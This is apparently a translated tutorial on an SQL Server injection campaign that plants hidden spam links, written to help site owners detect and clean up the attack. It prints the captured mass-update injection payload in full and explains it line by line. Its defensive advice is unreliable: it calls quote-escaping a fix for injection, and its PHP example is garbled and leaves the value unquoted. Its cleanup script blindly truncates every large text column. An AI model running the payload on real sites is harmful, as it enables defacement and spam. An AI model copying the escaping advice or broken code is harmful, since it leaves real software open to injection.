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Tutorial - INVASION! - SQL Injection

You have your beautiful website and suddenly some unexpected texts or advertisements appear and, what to do now?

You search the internet for the terms: "how to cheat with a married woman" and find only several of other infected sites like yours.

Below are some of our html scripts found on some sites infected with SPAM SEO, and see in an exclusive article how your attack works. We exclusively capture the action of SQL Injection in a system using an audit trigger and we are here unraveling the code so disturbing to countless users on the internet.

SEO SPAM is a script that inserts html tags from vulnerable websites in order to increase Page Rank on Google and other search engines.

There is the attacker, but there is also the contractor who asks SPAMMER to increase traffic to your site and pays a fee to do so.

If you saw some of these texts on your website:
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I'm sorry, you were probably attacked by the script below through a SQL Injection vulnerability:


SELECT * FROM PRODUTOS WHERE ID=11871;declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''i dreamed my wife cheated on me ''+char(60)+''a href="http:''+char(47)+char(47)+''www.cfrtu.org''+char(47)+''events.asp"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end +char(60)+char(47)+''a''+char(62)+'' dating for married people''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c-- AND ATIVO = 1;



Let's understand the SPAM SEO code, first organizing the code and commenting on each action:

/* It broke the previous SQL line allowing it to include a new SQL transaction.*/


/* Declared a cursor variable with the name @c */
declare @c cursor; 

/* Declared another variable with 4000 bytes of text */
declare @d varchar(4000);

/* Setting the @c variable to a SELECT code (which brings a result) */
set @c=cursor 
for 
select 

/* Below it performs a text action for the cursor, SELECT will respond with this string.

Note that it creates an update action where it always takes a table, a column, and adds random text code per module 7 (any number module% 7, will result in a number between 0 and 6 closed).


Char are functions that call characters from the ASCII table.
Char (47) = ALT + 47 (numpad) which is equal to: "/"
NewId () = Generates a random number in SQL Server.
*/

'update 
['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+'] + case ABS(CHECKSUM( NewId() ) ) % 7  when 0 then ''''
+ char(60) + ''div style="display:none"'' 
+ char(62) + ''i dreamed my wife cheated on me '' 
+ char(60) + ''a href="http:'' 
+ char(47) + char(47) + ''www.cfrtu.org''
+ char(47) + ''events.asp"'' 
+ char(62) + case ABS(CHECKSUM( NewId() ))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end 
+ char(60) + char(47) + ''a'' 
+ char(62) + '' dating for married people''
+ char(60) + char(47) + ''div''+char(62) + '''' else '''' end' 

/* Here brings from the bank's engine the tables and their existing columns to complete the above string with all the tables in the bank that are * varchar (nvarchar, varchar) of large size (so as not to fail to insert the code) */

FROM sysindexes AS i 
   INNER JOIN sysobjects AS o ON i.id=o.id 
   INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 

WHERE(indid=0 or indid=1) 
and DATA_TYPE like '%varchar' 
and(
CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647
);

/* Here executes all the actions that were saved in the query above for the cursor */
open @c;
fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
end;
close @c--



And so with the two "--" the transaction ends ignoring the rest of the code that comes.

Prevention - Prevent this attack from occurring on your website:

Make sure your site has specific protection in all text fields where they look for information in the database, always preventing the following question:

When you do programming, in any language, we have:

variable = "SQLSQLSQLSQLSQL";

It will not always perform a fixed query, it will usually bring some information from the user as well.

category = "5"
variable = "SELECT * FROM PRODUCTS WHERE CATEGORY =" & category & ";";

variable is now
SELECT * FROM PRODUCTS WHERE CATEGORY = 5;

Analyzing that the category variable is the following:
category = "5; SELECT @@ SPID"
variable = "SELECT * FROM PRODUCTS WHERE CATEGORY =" & category & ";";

So now you will have the following content in your variable:
SELECT * FROM PRODUCTS WHERE CATEGORY = 5; SELECT @@ SPID;

This will generate an error, and consequently, you will have to deal with this error.

1st: Never pass information from the Web directly to the bank. Check the technology used and look for "Escape Characters". In SQL Server, we only have single quotes (phew), but in MySQL, there are several, as it is compatible with a C-based writing engine.

VBScript:

category = "5; SELECT @@ SPID"
category = replace (category, "'", "' '")
variable = "SELECT * FROM PRODUCTS WHERE CATEGORY = '" & category & "';";

PHP:

<?php
$ category = "5; SELECT @@ SPID";
$ category = str_replace ("'", "' '", $ category);
$ variable = "SELECT * FROM PRODUCTS WHERE CATEGORY =". $ category;
variable echo $;
?>

Then your variable will return:
SELECT * FROM PRODUCTS WHERE CATEGORY = '5; SELECT @@ SPID ';

And in fact the category to be searched for will be a category that will never exist.


MySQL Like escape characters (MySQL, PostgreSQL, Oracle, Unix databases)

According to the official documentation of the MySQL website, the escape code for the following characters below is with a forward slash:

Table 9.1 Special Character Escape Sequences
Escape SequenceCharacter Represented by Sequence
\0An ASCII NUL (0x00) character.
\'A single quote (') character.
\"A double quote (") character.
\bA backspace character.
\nA newline (linefeed) character.
\rA carriage return character.
\tA tab character.
\ZASCII 26 (Control+Z). See note following the table.
\\A backslash (\) character.
\%% character. See note following the table.
\__ character. See note following the table.

So take this into account as there are several other characters that need special control for each type of database.

For SQL Server, as many of these characters are not supported, double quotation marks solve the SQL Injection problem.

I was attacked, my site is full of these texts, now what?

First calmly use the steps and correction above before correcting your bank, as you will spend more time fixing your bank if a new attack comes (and it can come at any time!).

I have no idea where the SQL Injection vulnerability is, what do I do?
You can do it like our team, we did a trigger to capture all the events of a given table in terms of include, update and delete, storing this data in another table.

Here is the code used for auditing in the supposed "Products" table:
USE [sua_base_de_dados]
CREATE TABLE _LOGG(id int not null primary key identity(1,1),EventType nvarchar(30),[Parameters] INT,EventInfo nvarchar(4000),data datetime)
GO
CREATE TRIGGER [dbo].[TRIGGER_AUDITORIA] ON [Produtos]
FOR INSERT, UPDATE, DELETE AS BEGIN
   DECLARE @TEMP TABLE (EventType NVARCHAR(30), Parameters INT, EventInfo NVARCHAR(4000))
   INSERT INTO @TEMP EXEC('DBCC INPUTBUFFER(@@SPID)')
   INSERT INTO _LOGG
   SELECT 'SeuTextoDeIdentificaçãoDestaTrigger', EventType, Parameters, EventInfo, getdate() FROM @TEMP
END
Whenever a suspicious event occurs, the full SQL code will be saved in the "_LOGG" table.

I have thousands of tables and data, it would take days to fix everything, what to do?

Ok, let's use the "SAME" script however with some modifications (has anyone heard about attacking what attacks you?) Because you don't have time to spend all day hunting each table and removing each item right?

Log into your SQL Server and run the following script (developed by Tutorial TI for SQL Server - tested with version 2008 R2, but it can work in other versions):
declare @c cursor; declare @d varchar(4000); set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=case when charindex(''<div style="display:none"'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style="display:none"'',['+COLUMN_NAME+'])) else case when charindex(''<div style=display:none'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style=display:none'',['+COLUMN_NAME+'])) else ['+COLUMN_NAME+'] end end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647); open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--

So your database will be free of the SPAM codes that were plaguing you in milliseconds, but don't forget that: Before fixing your bank, the ideal is to find the security breach and close it before this occurs.

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